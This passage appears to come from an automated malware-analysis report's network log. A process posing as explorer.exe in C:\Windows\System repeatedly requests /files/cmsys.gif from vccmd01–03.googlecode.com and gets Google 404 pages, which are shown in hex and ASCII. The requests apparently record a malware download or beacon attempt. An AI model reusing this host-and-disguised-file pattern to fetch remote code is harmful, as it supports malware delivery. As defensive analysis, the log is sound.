6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:06.467809916 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	64798	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:06.808593988 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:07.497354984 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:07 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:07.497478962 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	64808	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:07.883642912 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:08.591229916 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:08 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:08.592287064 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	64825	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:10.980906963 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:11.685523987 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:11 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:11.685801029 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	64832	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:12.279422045 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:12.981256008 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:12 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:12.981276989 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	64840	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:13.247900963 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:13.950026035 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:13 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:13.950076103 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	64857	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:15.752305031 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:16.490617037 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:16 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:16.490649939 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	64864	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:16.729896069 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:17.487447023 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:17 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:17.487462044 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

